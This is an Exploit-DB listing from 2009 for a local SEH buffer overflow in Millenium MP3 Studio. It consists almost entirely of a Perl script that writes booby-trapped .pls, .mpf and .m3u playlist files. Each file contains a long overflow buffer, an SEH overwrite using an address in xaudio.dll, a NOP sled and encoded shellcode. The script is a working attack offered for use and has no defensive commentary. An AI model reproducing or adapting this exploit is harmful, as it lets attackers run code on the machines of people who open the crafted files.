Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH)

EDB-ID:
9618

CVE:

EDB Verified: ✓

Author:
HACK4LOVE

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2009-09-09

Vulnerable App:

```
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Millenium MP3 Studio (pls/mpf/m3u) Local Universal BOF ExploitS (SEH)
# POC WAS BY::HACK4LOVE
# http://www.milw0rm.com/exploits/9277
# thanks>>>corelanc0d3r
# 3 EXPLOITS WORK SOOOOOOOOOOOO GOOOOOOOOD
# http://www.software112.com/products/mp3-millennium+download.html
##############################################################################
####(1) PLs ---->>
####################
my $junk ="http://";
my $buffer="A" x 4103;
my $seh="\xeb\x1e\x90\x90";
my $nseh="\x93\x55\x01\x10";#xaudio.dll
my $nop="\x90" x 32;
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
##############################################################################
my $header="[playlist]\n".
"NumberOfEntries=1\n".
"File1=";
my $finalnop="\x90" x 563;

print $header.$junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################################
open(myfile,'>> HACK4LOVE.pls');
print myfile $header.$junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################################
#
####(mpf)--->>
###############
my $junk ="http://";
my $buffer="A" x 4105;
my $seh="\xeb\x1e\x90\x90";
my $nseh="\x93\x55\x01\x10";#xaudio.dll
my $nop="\x90" x 32;
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
```

```
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
##############################################################

my $finalnop="\x90" x 563;

print $junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################
open(myfile,'>> HACK4LOVE.mpf');
print myfile $junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################
#
#(m3u)--->>
############
my $junk ="http://";
my $buffer="A" x 4103;
my $seh="\xeb\x1e\x90\x90";
my $nseh="\x93\x55\x01\x10";#xaudio.dll
my $nop="\x90" x 32;
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
##############################################################

my $finalnop="\x90" x 563;

print $junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $junk.$buffer.$seh.$nseh.$nop.$shellcode.$finalnop;
##############################################################

# milw0rm.com [2009-09-09]
```

Tags:

Advisory/Source: Link